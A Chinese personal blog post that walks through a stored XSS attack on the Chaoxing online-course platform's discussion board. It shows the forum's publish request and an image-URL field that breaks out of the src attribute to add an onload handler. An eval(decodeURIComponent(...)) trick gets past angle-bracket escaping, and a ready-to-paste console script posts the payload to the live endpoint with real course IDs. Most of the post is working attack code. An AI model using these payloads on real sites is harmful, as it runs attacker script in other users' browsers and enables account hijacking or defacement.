<!DOCTYPE html>
<html lang="en">

<head>
  <meta charset="utf-8" />
   
  <meta name="keywords" content="郑浩枫,周芳怡,咸鱼郑某的博客" />
   
  <meta name="description" content="咸鱼郑某的博客" />
  
  <meta name="viewport" content="width=device-width, initial-scale=1, maximum-scale=1" />
  <title>
    超星平台XSS |  岛
  </title>
  <meta name="generator" content="hexo-theme-yilia-plus">
  
  <link rel="shortcut icon" href="/favicon.ico" />
  
  
<link rel="stylesheet" href="/css/main.css">

  
  <script src="https://cdn.jsdelivr.net/npm/pace-js@1.0.2/pace.min.js"></script>
  
  

  

<link rel="alternate" href="/atom.xml" title="岛" type="application/atom+xml">
</head>

</html>

<body>
  <div id="app">
    <main class="content">
      <section class="outer">
  <article id="post-超星网课XSS" class="article article-type-post" itemscope
  itemprop="blogPost" data-scroll-reveal>

  <div class="article-inner">
    
    <header class="article-header">
       
<h1 class="article-title sea-center" style="border-left:0" itemprop="name">
  超星平台XSS
</h1>
  

    </header>
    

    
    <div class="article-meta">
      <a href="/2020/%E8%B6%85%E6%98%9F%E5%B9%B3%E5%8F%B0XSS/" class="article-date">
  <time datetime="2020-11-24T04:49:12.000Z" itemprop="datePublished">2020-11-24</time>
</a>
      
  <div class="article-category">
    <a class="article-category-link" href="/categories/%E5%8D%9A%E5%AE%A2%E8%AE%B0%E5%BD%95/">博客记录</a>
  </div>

      
      
<div class="word_count">
    <span class="post-time">
        <span class="post-meta-item-icon">
            <i class="ri-quill-pen-line"></i>
            <span class="post-meta-item-text"> 字数统计:</span>
            <span class="post-count">1.4k字</span>
        </span>
    </span>

    <span class="post-time">
        &nbsp; | &nbsp;
        <span class="post-meta-item-icon">
            <i class="ri-book-open-line"></i>
            <span class="post-meta-item-text"> 阅读时长≈</span>
            <span class="post-count">6分钟</span>
        </span>
    </span>
</div>

      
    </div>
    

    
    
    <div class="tocbot"></div>





    

    
    <div class="article-entry" itemprop="articleBody">
      
      

      
      <p>记录一次对超星平台XSS攻击的过程</p>
<span id="more"></span>

<h2 id="先前"><a href="#先前" class="headerlink" title="先前"></a>先前</h2><p>在超星刷网课的时候偶然发现了这个东西</p>
<p><img src="../../images/%E8%B6%85%E6%98%9F%E5%B9%B3%E5%8F%B0XSS%E6%B3%A8%E5%85%A5/image-20201124103151351.png" alt="image-20201124103151351"></p>
<p>显然，是有人提前进行了XSS。</p>
<p>那么我们拓展一下，在网页上执行任意代码试试。</p>
<p>首先我们分析请求，在新建话题点击发布的时候</p>
<p><img src="../../images/%E8%B6%85%E6%98%9F%E5%B9%B3%E5%8F%B0XSS%E6%B3%A8%E5%85%A5/image-20201124103354242.png" alt="image-20201124103354242"></p>
<h2 id="分析"><a href="#分析" class="headerlink" title="分析"></a>分析</h2><p>网页执行代码：</p>
<figure class="highlight javascript"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><code class="hljs javascript">publishTopicRefresh(<span class="hljs-string">&#x27;338XX741&#x27;</span>,<span class="hljs-string">&#x27;215XXX9195&#x27;</span>,<span class="hljs-string">&#x27;153XXX782&#x27;</span>,<span class="hljs-string">&#x27;s&#x27;</span>);<br></code></pre></td></tr></table></figure>

<p>我们对JS进行分析，发现<code>publishTopicRefresh</code>方法的对应的代码是：</p>
<figure class="highlight javascript"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br></pre></td><td class="code"><pre><code class="hljs javascript">	jQuery.post(<br>			<span class="hljs-string">&quot;/bbscircle/grouptopic/publish&quot;</span>,<br>			&#123;<br>				courseId : courseid,<br>				clazzid : clazzid,<br>				title : title,<br>				content : content,<br>				type : <span class="hljs-number">4</span>,<br>				files : str,<br>				cpi : cpi,<br>				ut : ut,<br>				chooseClazzId : chooseClazzId,<br>				attachmentFile : allAttachment<br>			&#125;,<br>			<span class="hljs-function"><span class="hljs-keyword">function</span>(<span class="hljs-params">data</span>) </span>&#123;<br>				<span class="hljs-keyword">if</span> (data.indexOf(<span class="hljs-string">&#x27;error&#x27;</span>) !== <span class="hljs-number">0</span>) &#123;<br>					<span class="hljs-built_in">window</span>.location.reload();<br>				&#125; <span class="hljs-keyword">else</span> &#123;<br>					alert(data);<br>				&#125;<br>			&#125;);<br>&#125;;<br></code></pre></td></tr></table></figure>



<p>其中 ，<code>clazzid</code>,<code>courseId</code>,<code>chooseClazzId</code>等变量分别有对应的函数参数，而str则是选择图片后，图片先上传至服务器，返回的图片直链。</p>
<p>前端加载时，后端会返回图片的标签</p>
<figure class="highlight html"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><code class="hljs html"><span class="hljs-tag">&lt;<span class="hljs-name">img</span> <span class="hljs-attr">src</span>=<span class="hljs-string">&quot;上传的图片地址&quot;</span>  <span class="hljs-attr">data-original</span>=<span class="hljs-string">&quot;上传的图片地址&quot;</span>&gt;</span><br></code></pre></td></tr></table></figure>

<p>而上传的图片地址可以由我们自己构造</p>
<h2 id="操作"><a href="#操作" class="headerlink" title="操作"></a>操作</h2><p>既然如此，我们不妨构造这么一段字符串：</p>
<figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><code class="hljs plain">https:&#x2F;&#x2F;p.ananas.chaoxing.com&#x2F;star3&#x2F;origin&#x2F;b0c12760f1a9557460dc86e88bdbdeac.jpg&quot; onload &#x3D;&quot;alert(&#39;这是XSS&#39;)<br></code></pre></td></tr></table></figure>

<p>我们把它带入看看：</p>
<figure class="highlight html"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><code class="hljs HTML"><span class="hljs-tag">&lt;<span class="hljs-name">img</span> <span class="hljs-attr">src</span>=<span class="hljs-string">&quot;https://p.ananas.chaoxing.com/star3/origin/b0c12760f1a9557460dc86e88bdbdeac.jpg&quot;</span> <span class="hljs-attr">onload</span> =<span class="hljs-string">&quot;alert(&#x27;这是XSS&#x27;)&quot;</span>  <span class="hljs-attr">data-original</span>=<span class="hljs-string">&quot;上传的图片地址&quot;</span>&gt;</span><br></code></pre></td></tr></table></figure>

<p>但是上传时<code>&quot;</code>双引号需要用转义字符<code>\</code>来进行原样输出，否则报错:</p>
<figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><code class="hljs plain">Uncaught SyntaxError: Unexpected identifier<br></code></pre></td></tr></table></figure>

<p>最终字符串是这样的：</p>
<figure class="highlight javascript"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><code class="hljs javascript">https:<span class="hljs-comment">//p.ananas.chaoxing.com/star3/origin/b0c12760f1a9557460dc86e88bdbdeac.jpg\&quot; onload =\&quot;alert(\&#x27;这是XSS\&#x27;)</span><br></code></pre></td></tr></table></figure>

<p>可以看到，src被我们提前结束，并在<code>&lt;img&gt;</code>标签中添加了onload事件，这就是我们在开头看到的效果。</p>
<p>那么我们可不可以在onload事件中执行任意代码呢？</p>
<p>当然可以</p>
<h2 id="拓展"><a href="#拓展" class="headerlink" title="拓展"></a>拓展</h2><p>如何在onload事件中执行任意代码？</p>
<p>首先，我们想到的是，既然可以提前结束src，那么能不能提前结束<code>&lt;img&gt;</code>呢？</p>
<p>我尝试构造这样的字符串：</p>
<figure class="highlight html"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><code class="hljs html">https://p.ananas.chaoxing.com/star3/origin/b0c12760f1a9557460dc86e88bdbdeac.jpg&quot;&gt; 任意标签 <span class="hljs-tag">&lt;<span class="hljs-name">img</span> <span class="hljs-attr">src</span>=<span class="hljs-string">&quot;https://p.ananas.chaoxing.com/star3/origin/b0c12760f1a9557460dc86e88bdbdeac.jpg</span></span><br></code></pre></td></tr></table></figure>

<p>理论上结果应该是这样的：</p>
<figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><code class="hljs HML">&lt;img src&#x3D;&quot;https:&#x2F;&#x2F;p.ananas.chaoxing.com&#x2F;star3&#x2F;origin&#x2F;b0c12760f1a9557460dc86e88bdbdeac.jpg&quot;&gt; 任意标签 &lt;img src&#x3D;&quot;https:&#x2F;&#x2F;p.ananas.chaoxing.com&#x2F;star3&#x2F;origin&#x2F;b0c12760f1a9557460dc86e88bdbdeac.jpg&quot;  data-original&#x3D;&quot;上传的图片地址&quot;&gt;<br></code></pre></td></tr></table></figure>

<p>效果应该是有两张图片，并且中间有我们自定义的任意标签。</p>
<p>难道这样就可以了吗？</p>
<h3 id="水复山重"><a href="#水复山重" class="headerlink" title="水复山重"></a>水复山重</h3><p>可惜不行，让我们看看效果</p>
<p><img src="../../images/%E8%B6%85%E6%98%9F%E5%B9%B3%E5%8F%B0XSS%E6%B3%A8%E5%85%A5/image-20201124110251406.png" alt="image-20201124110251406"></p>
<p>观察代码，发现：</p>
<figure class="highlight html"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><code class="hljs HTML"><span class="hljs-tag">&lt;<span class="hljs-name">img</span> <span class="hljs-attr">src</span>=<span class="hljs-string">&quot;https://p.ananas.chaoxing.com/star3/120_120c/b0c12760f1a9557460dc86e88bdbdeac.jpg&quot;</span> &amp;<span class="hljs-attr">gt</span>;&quot;=<span class="hljs-string">&quot;&quot;</span> <span class="hljs-attr">data-original</span>=<span class="hljs-string">&quot;https://p.ananas.chaoxing.com/star3/origin/b0c12760f1a9557460dc86e88bdbdeac.jpg&quot;</span>&gt;</span><br></code></pre></td></tr></table></figure>

<p>浏览器自动吧<code>&gt;</code>当做字符处理，转成了<code>&amp;gt;</code>,经过尝试，我们发现即使用<code>\</code>也不行，难道就没有办法了吗？</p>
<p>当然有！</p>
<h3 id="柳暗花明"><a href="#柳暗花明" class="headerlink" title="柳暗花明"></a>柳暗花明</h3><p>既然不能出现尖括号，那我们不用不就行了吗？</p>
<p>纯 JS也是可以插入标签的。</p>
<p>那我们尝试在之中插入B站的<code>&lt;iframe&gt;</code>标签</p>
<figure class="highlight html"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><code class="hljs html"><span class="hljs-tag">&lt;<span class="hljs-name">iframe</span> <span class="hljs-attr">src</span>=<span class="hljs-string">&quot;//player.bilibili.com/player.html?aid=2582803&amp;bvid=BV17s411S7dr&amp;cid=4034089&amp;page=1&quot;</span> <span class="hljs-attr">scrolling</span>=<span class="hljs-string">&quot;no&quot;</span> <span class="hljs-attr">border</span>=<span class="hljs-string">&quot;0&quot;</span> <span class="hljs-attr">frameborder</span>=<span class="hljs-string">&quot;no&quot;</span> <span class="hljs-attr">framespacing</span>=<span class="hljs-string">&quot;0&quot;</span> <span class="hljs-attr">allowfullscreen</span>=<span class="hljs-string">&quot;true&quot;</span>&gt;</span> <span class="hljs-tag">&lt;/<span class="hljs-name">iframe</span>&gt;</span><br></code></pre></td></tr></table></figure>



<p>我们在之前上传的图片中定义一个ID叫做<code>yrm_sp</code>（咬人猫_视频），获取他的父节点，使用这三行代码进行添加：</p>
<figure class="highlight javascript"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br></pre></td><td class="code"><pre><code class="hljs javascript"><span class="hljs-keyword">var</span> yrm_ifram = <span class="hljs-built_in">document</span>.createElement(<span class="hljs-string">&quot;iframe&quot;</span>);<br>yrm_ifram.setAttribute(<span class="hljs-string">&quot;src&quot;</span>,<span class="hljs-string">&quot;//player.bilibili.com/player.htmlaid=2582803&amp;bvid=BV17s411S7dr&amp;cid=4034089&amp;page=1&quot;</span>);<br><span class="hljs-built_in">document</span>.getElementById(<span class="hljs-string">&quot;yrm_sp&quot;</span>).parentNode.append(yrm_ifram);<br></code></pre></td></tr></table></figure>

<p>但是问题来了，onload中只能写一行代码，并且由于是用代码添加的原因，不能出现分号，否则就会报错</p>
<figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><code class="hljs plain">Uncaught SyntaxError: Unexpected identifier<br></code></pre></td></tr></table></figure>

<p>所以怎么办呢？</p>
<p>不要忘了，js中有个函数叫<code>eval()</code></p>
<p><code>eval() </code>函数可计算某个字符串，并执行其中的的 JavaScript 代码</p>
<p>原代码：</p>
<figure class="highlight javascript"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br></pre></td><td class="code"><pre><code class="hljs javascript"><span class="hljs-keyword">var</span> yrm_ifram = <span class="hljs-built_in">document</span>.createElement(<span class="hljs-string">&quot;iframe&quot;</span>);<br>yrm_ifram.setAttribute(<span class="hljs-string">&quot;src&quot;</span>,<span class="hljs-string">&quot;//player.bilibili.com/player.html?aid=2582803&amp;bvid=BV17s411S7dr&amp;cid=4034089&amp;page=1&quot;</span>);<br><span class="hljs-built_in">document</span>.getElementById(<span class="hljs-string">&quot;yrm_sp&quot;</span>).parentNode.append(yrm_ifram);<br></code></pre></td></tr></table></figure>

<p>去换行并使用URL编码后：</p>
<figure class="highlight javascript"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><code class="hljs javascript"><span class="hljs-keyword">var</span>%20yrm_ifram%<span class="hljs-number">20</span>%3D%20<span class="hljs-built_in">document</span>.createElement(%22iframe%<span class="hljs-number">22</span>)%3Byrm_ifram.setAttribute(%22src%<span class="hljs-number">22</span>%2C%<span class="hljs-number">22</span>%2F%2Fplayer.bilibili.com%2Fplayer.html%3Faid%3D2582803%26bvid%3DBV17s411S7dr%26cid%3D4034089%26page%3D1%<span class="hljs-number">22</span>)%3Bdocument.getElementById(%22yrm_sp%<span class="hljs-number">22</span>).parentNode.append(yrm_ifram)%3B<br></code></pre></td></tr></table></figure>

<p>使用<code>decodeURIComponent(&#39;&#39;)</code>解码并嵌套在eval内：</p>
<figure class="highlight javascript"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><code class="hljs javascript"><span class="hljs-built_in">eval</span>(<span class="hljs-built_in">decodeURIComponent</span>(<span class="hljs-string">&#x27;var%20yrm_ifram%20%3D%20document.createElement(%22iframe%22)%3Byrm_ifram.setAttribute(%22src%22%2C%22%2F%2Fplayer.bilibili.com%2Fplayer.html%3Faid%3D2582803%26bvid%3DBV17s411S7dr%26cid%3D4034089%26page%3D1%22)%3Bdocument.getElementById(%22yrm_sp%22).parentNode.append(yrm_ifram)%3B&#x27;</span>));<br></code></pre></td></tr></table></figure>

<p>注意一下，如果要原样输出的引号要用<code>\</code>转义，而要执行的代码的引号不用。</p>
<p>最终构造出来的是：</p>
<figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><code class="hljs plain">https:&#x2F;&#x2F;p.ananas.chaoxing.com&#x2F;star3&#x2F;origin&#x2F;b0c12760f1a9557460dc86e88bdbdeac.jpg\&quot; onload &#x3D;\&quot;eval(decodeURIComponent(&#39;var%20yrm_ifram%20%3D%20document.createElement(%22iframe%22)%3Byrm_ifram.setAttribute(%22src%22%2C%22%2F%2Fplayer.bilibili.com%2Fplayer.html%3Faid%3D2582803%26bvid%3DBV17s411S7dr%26cid%3D4034089%26page%3D1%22)%3Bdocument.getElementById(%22yrm_sp%22).parentNode.append(yrm_ifram)%3B&#39;));\&quot;<br></code></pre></td></tr></table></figure>

<p>在网页控制台执行：</p>
<figure class="highlight javascript"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br></pre></td><td class="code"><pre><code class="hljs javascript"><span class="hljs-keyword">var</span> allAttachment = noticeAttachment();<br>jQuery.post(<span class="hljs-string">&quot;/bbscircle/grouptopic/publish&quot;</span>,<br>			&#123;<br>				courseId : <span class="hljs-string">&#x27;215269195&#x27;</span>,<br>				clazzid : <span class="hljs-string">&#x27;33832741&#x27;</span>,<br>				title : <span class="hljs-string">&#x27;加载视频&#x27;</span>,<br>				content : <span class="hljs-string">&#x27;嘿！&#x27;</span>,<br>				type : <span class="hljs-number">4</span>,<br>				files : <span class="hljs-string">&quot;https://p.ananas.chaoxing.com/star3/origin/b0c12760f1a9557460dc86e88bdbdeac.jpg\&quot; onload=\&quot;eval(decodeURIComponent(&#x27;var%20yrm_ifram%20%3D%20document.createElement(%22iframe%22)%3Byrm_ifram.setAttribute(%22src%22%2C%22%2F%2Fplayer.bilibili.com%2Fplayer.html%3Faid%3D2582803%26bvid%3DBV17s411S7dr%26cid%3D4034089%26page%3D1%22)%3Bdocument.getElementById(%22yrm_sp%22).parentNode.append(yrm_ifram)%3B&#x27;));\&quot;&quot;</span><br>				cpi : <span class="hljs-number">0</span>,<br>				ut : <span class="hljs-string">&#x27;s&#x27;</span>,<br>				chooseClazzId : <span class="hljs-number">33832741</span>,<br>				attachmentFile : allAttachment<br>			&#125;,<br>			<span class="hljs-function"><span class="hljs-keyword">function</span>(<span class="hljs-params">data</span>) </span>&#123;<br>				<span class="hljs-keyword">if</span> (data.indexOf(<span class="hljs-string">&#x27;error&#x27;</span>) !== <span class="hljs-number">0</span>) &#123;<br>					<span class="hljs-built_in">window</span>.location.reload();<br>				&#125; <span class="hljs-keyword">else</span> &#123;<br>					alert(data);<br>				&#125;<br>			&#125;);<br></code></pre></td></tr></table></figure>



<p>效果：</p>
<p><img src="../../images/%E8%B6%85%E6%98%9F%E5%B9%B3%E5%8F%B0XSS%E6%B3%A8%E5%85%A5/image-20201124124045091.png" alt="image-20201124124045091"></p>

      
      <!-- reward -->
      
      <div id="reward-btn">
        打赏
      </div>
      
    </div>
    
    
      <!-- copyright -->
      
        <div class="declare">
          <ul class="post-copyright">
            <li>
              <i class="ri-copyright-line"></i>
              <strong>版权声明： </strong s>
              本博客所有文章除特别声明外，均采用 <a href="https://www.apache.org/licenses/LICENSE-2.0.html" rel="external nofollow"
                target="_blank">Apache License 2.0</a> 许可协议。转载请注明出处！
            </li>
          </ul>
        </div>
        
    <footer class="article-footer">
      
          
<div class="share-btn">
      <span class="share-sns share-outer">
        <i class="ri-share-forward-line"></i>
        分享
      </span>
      <div class="share-wrap">
        <i class="arrow"></i>
        <div class="share-icons">
          
          <a class="weibo share-sns" href="javascript:;" data-type="weibo">
            <i class="ri-weibo-fill"></i>
          </a>
          <a class="weixin share-sns wxFab" href="javascript:;" data-type="weixin">
            <i class="ri-wechat-fill"></i>
          </a>
          <a class="qq share-sns" href="javascript:;" data-type="qq">
            <i class="ri-qq-fill"></i>
          </a>
          <a class="douban share-sns" href="javascript:;" data-type="douban">
            <i class="ri-douban-line"></i>
          </a>
          <!-- <a class="qzone share-sns" href="javascript:;" data-type="qzone">
            <i class="icon icon-qzone"></i>
          </a> -->
          
          <a class="facebook share-sns" href="javascript:;" data-type="facebook">
            <i class="ri-facebook-circle-fill"></i>
          </a>
          <a class="twitter share-sns" href="javascript:;" data-type="twitter">
            <i class="ri-twitter-fill"></i>
          </a>
          <a class="google share-sns" href="javascript:;" data-type="google">
            <i class="ri-google-fill"></i>
          </a>
        </div>
      </div>
</div>

<div class="wx-share-modal">
    <a class="modal-close" href="javascript:;"><i class="ri-close-circle-line"></i></a>
    <p>扫一扫，分享到微信</p>
    <div class="wx-qrcode">
      <img src="//api.qrserver.com/v1/create-qr-code/?size=150x150&data=https://zhfhz.gitee.io/2020/%E8%B6%85%E6%98%9F%E5%B9%B3%E5%8F%B0XSS/" alt="微信分享二维码">
    </div>
</div>

<div id="share-mask"></div>
      
      
  <ul class="article-tag-list" itemprop="keywords"><li class="article-tag-list-item"><a class="article-tag-list-link" href="/tags/XSS/" rel="tag">XSS</a></li><li class="article-tag-list-item"><a class="article-tag-list-link" href="/tags/%E6%8A%80%E6%9C%AF/" rel="tag">技术</a></li></ul>


    </footer>

  </div>

  
  
  <nav class="article-nav">
    
      <a href="/2021/Java%E5%AD%A6%E4%B9%A0/" class="article-nav-link">
        <strong class="article-nav-caption">上一篇</strong>
        <div class="article-nav-title">
          
            Java学习
          
        </div>
      </a>
    
    
      <a href="/2020/%E8%85%BE%E8%AE%AFVIP%E7%88%AC%E8%99%AB/" class="article-nav-link">
        <strong class="article-nav-caption">下一篇</strong>
        <div class="article-nav-title">腾讯VIP爬虫</div>
      </a>
    
  </nav>


  

  
  
<!-- valine评论 -->
<div id="vcomments-box">
    <div id="vcomments">
    </div>
</div>
<script src="//cdn1.lncld.net/static/js/3.0.4/av-min.js"></script>
<script src='https://cdn.jsdelivr.net/npm/valine@1.3.10/dist/Valine.min.js'></script>
<script>
    new Valine({
        el: '#vcomments',
        app_id: 'QExPaN3yEdYGXDLijnPKdTc8-MdYXbMMI',
        app_key: 'kyQzz6yRJkdRHcMm0tpOvSYY',
        path: window.location.pathname,
        notify: 'true',
        verify: 'false',
        avatar: 'mp',
        placeholder: '给我的文章加点评论吧~',
        recordIP: true
    });
    const infoEle = document.querySelector('#vcomments .info');
    if (infoEle && infoEle.childNodes && infoEle.childNodes.length > 0) {
        infoEle.childNodes.forEach(function (item) {
            item.parentNode.removeChild(item);
        });
    }
</script>
<style>
    #vcomments-box {
        padding: 5px 30px;
    }

    @media screen and (max-width: 800px) {
        #vcomments-box {
            padding: 5px 0px;
        }
    }

    #vcomments-box #vcomments {
        background-color: #fff;
    }

    .v .vlist .vcard .vh {
        padding-right: 20px;
    }

    .v .vlist .vcard {
        padding-left: 10px;
    }
</style>

  

  
  
  

</article>
</section>
      <footer class="footer">
  <div class="outer">
    <ul class="list-inline">
      <li>
        &copy;
        2020-2021
        ZHF
      </li>
      <li>
        
        Powered by
        
        
        <a href="https://hexo.io" target="_blank">Hexo</a> Theme <a href="https://github.com/Shen-Yu/hexo-theme-ayer" target="_blank">Ayer</a>
        
      </li>
    </ul>
    <ul class="list-inline">
      <li>
        
        
        <span>
  <i>PV:<span id="busuanzi_value_page_pv"></span></i>
  <i>UV:<span id="busuanzi_value_site_uv"></span></i>
</span>
        
      </li>
      
      <li>
        <!-- cnzz统计 -->
        
        <script type="text/javascript" src=''></script>
        
      </li>
    </ul>
  </div>
</footer>
      <div class="to_top">
        <div class="totop" id="totop">
  <i class="ri-arrow-up-line"></i>
</div>
      </div>
    </main>
    <aside class="sidebar">
      <button class="navbar-toggle"></button>
<nav class="navbar">
  
  <div class="logo">
    <a href="/"><img src="/images/ayer-side.svg" alt="岛"></a>
  </div>
  
  <ul class="nav nav-main">
    
    <li class="nav-item">
      <a class="nav-item-link" href="/">主页</a>
    </li>
    
    <li class="nav-item">
      <a class="nav-item-link" href="/archives">归档</a>
    </li>
    
    <li class="nav-item">
      <a class="nav-item-link" href="/categories">分类</a>
    </li>
    
    <li class="nav-item">
      <a class="nav-item-link" href="/tags">标签</a>
    </li>
    
    <li class="nav-item">
      <a class="nav-item-link" href="/tags/%E6%97%85%E8%A1%8C/">旅行</a>
    </li>
    
    <li class="nav-item">
      <a class="nav-item-link" target="_blank" rel="noopener" href="https://500px.me/ZHFHZ">摄影</a>
    </li>
    
    <li class="nav-item">
      <a class="nav-item-link" href="/2019/about">关于我</a>
    </li>
    
  </ul>
</nav>
<nav class="navbar navbar-bottom">
  <ul class="nav">
    <li class="nav-item">
      
      <a class="nav-item-link nav-item-search"  title="Search">
        <i class="ri-search-line"></i>
      </a>
      
      
      <a class="nav-item-link" target="_blank" href="/atom.xml" title="RSS Feed">
        <i class="ri-rss-line"></i>
      </a>
      
    </li>
  </ul>
</nav>
<div class="search-form-wrap">
  <div class="local-search local-search-plugin">
  <input type="search" id="local-search-input" class="local-search-input" placeholder="Search...">
  <div id="local-search-result" class="local-search-result"></div>
</div>
</div>
    </aside>
    <div id="mask"></div>

<!-- #reward -->
<div id="reward">
  <span class="close"><i class="ri-close-line"></i></span>
  <p class="reward-p"><i class="ri-cup-line"></i>请我喝杯咖啡吧~</p>
  <div class="reward-box">
    
    <div class="reward-item">
      <img class="reward-img" src="/images/alipay.jpg">
      <span class="reward-type">支付宝</span>
    </div>
    
    
    <div class="reward-item">
      <img class="reward-img" src="/images/wechat.jpg">
      <span class="reward-type">微信</span>
    </div>
    
  </div>
</div>
    
<script src="/js/jquery-2.0.3.min.js"></script>


<script src="/js/share.js"></script>


<script src="/js/lazyload.min.js"></script>


<script>
  try {
    var typed = new Typed("#subtitle", {
      strings: ['面朝大海，春暖花开', '愿你一生努力，一生被爱', '想要的都拥有，得不到的都释怀'],
      startDelay: 0,
      typeSpeed: 200,
      loop: true,
      backSpeed: 100,
      showCursor: true
    });
  } catch (err) {
  }

</script>




<script src="/js/tocbot.min.js"></script>

<script>
  // Tocbot_v4.7.0  http://tscanlin.github.io/tocbot/
  tocbot.init({
    tocSelector: '.tocbot',
    contentSelector: '.article-entry',
    headingSelector: 'h1, h2, h3, h4, h5, h6',
    hasInnerContainers: true,
    scrollSmooth: true,
    scrollContainer: 'main',
    positionFixedSelector: '.tocbot',
    positionFixedClass: 'is-position-fixed',
    fixedSidebarOffset: 'auto',
    onClick: (e) => {
      $('.toc-link').removeClass('is-active-link');
      $(`a[href=${e.target.hash}]`).addClass('is-active-link');
      $(e.target.hash).scrollIntoView();
      return false;
    }
  });
</script>



<script src="https://cdn.jsdelivr.net/npm/jquery-modal@0.9.2/jquery.modal.min.js"></script>
<link rel="stylesheet" href="https://cdn.jsdelivr.net/npm/jquery-modal@0.9.2/jquery.modal.min.css">
<script src="https://cdn.jsdelivr.net/npm/justifiedGallery@3.7.0/dist/js/jquery.justifiedGallery.min.js"></script>

<script src="/js/ayer.js"></script>



<!-- Root element of PhotoSwipe. Must have class pswp. -->
<div class="pswp" tabindex="-1" role="dialog" aria-hidden="true">

    <!-- Background of PhotoSwipe. 
         It's a separate element as animating opacity is faster than rgba(). -->
    <div class="pswp__bg"></div>

    <!-- Slides wrapper with overflow:hidden. -->
    <div class="pswp__scroll-wrap">

        <!-- Container that holds slides. 
            PhotoSwipe keeps only 3 of them in the DOM to save memory.
            Don't modify these 3 pswp__item elements, data is added later on. -->
        <div class="pswp__container">
            <div class="pswp__item"></div>
            <div class="pswp__item"></div>
            <div class="pswp__item"></div>
        </div>

        <!-- Default (PhotoSwipeUI_Default) interface on top of sliding area. Can be changed. -->
        <div class="pswp__ui pswp__ui--hidden">

            <div class="pswp__top-bar">

                <!--  Controls are self-explanatory. Order can be changed. -->

                <div class="pswp__counter"></div>

                <button class="pswp__button pswp__button--close" title="Close (Esc)"></button>

                <button class="pswp__button pswp__button--share" style="display:none" title="Share"></button>

                <button class="pswp__button pswp__button--fs" title="Toggle fullscreen"></button>

                <button class="pswp__button pswp__button--zoom" title="Zoom in/out"></button>

                <!-- Preloader demo http://codepen.io/dimsemenov/pen/yyBWoR -->
                <!-- element will get class pswp__preloader--active when preloader is running -->
                <div class="pswp__preloader">
                    <div class="pswp__preloader__icn">
                        <div class="pswp__preloader__cut">
                            <div class="pswp__preloader__donut"></div>
                        </div>
                    </div>
                </div>
            </div>

            <div class="pswp__share-modal pswp__share-modal--hidden pswp__single-tap">
                <div class="pswp__share-tooltip"></div>
            </div>

            <button class="pswp__button pswp__button--arrow--left" title="Previous (arrow left)">
            </button>

            <button class="pswp__button pswp__button--arrow--right" title="Next (arrow right)">
            </button>

            <div class="pswp__caption">
                <div class="pswp__caption__center"></div>
            </div>

        </div>

    </div>

</div>

<link rel="stylesheet" href="https://cdn.jsdelivr.net/npm/photoswipe@4.1.3/dist/photoswipe.min.css">
<link rel="stylesheet" href="https://cdn.jsdelivr.net/npm/photoswipe@4.1.3/dist/default-skin/default-skin.min.css">
<script src="https://cdn.jsdelivr.net/npm/photoswipe@4.1.3/dist/photoswipe.min.js"></script>
<script src="https://cdn.jsdelivr.net/npm/photoswipe@4.1.3/dist/photoswipe-ui-default.min.js"></script>

<script>
    function viewer_init() {
        let pswpElement = document.querySelectorAll('.pswp')[0];
        let $imgArr = document.querySelectorAll(('.article-entry img:not(.reward-img)'))

        $imgArr.forEach(($em, i) => {
            $em.onclick = () => {
                // slider展开状态
                // todo: 这样不好，后面改成状态
                if (document.querySelector('.left-col.show')) return
                let items = []
                $imgArr.forEach(($em2, i2) => {
                    let img = $em2.getAttribute('data-idx', i2)
                    let src = $em2.getAttribute('data-target') || $em2.getAttribute('src')
                    let title = $em2.getAttribute('alt')
                    // 获得原图尺寸
                    const image = new Image()
                    image.src = src
                    items.push({
                        src: src,
                        w: image.width || $em2.width,
                        h: image.height || $em2.height,
                        title: title
                    })
                })
                var gallery = new PhotoSwipe(pswpElement, PhotoSwipeUI_Default, items, {
                    index: parseInt(i)
                });
                gallery.init()
            }
        })
    }
    viewer_init()
</script>




<script src="/js/busuanzi-2.3.pure.min.js"></script>



<script type="text/javascript" src="https://js.users.51.la/20544303.js"></script>

    
  </div>
</body>

</html>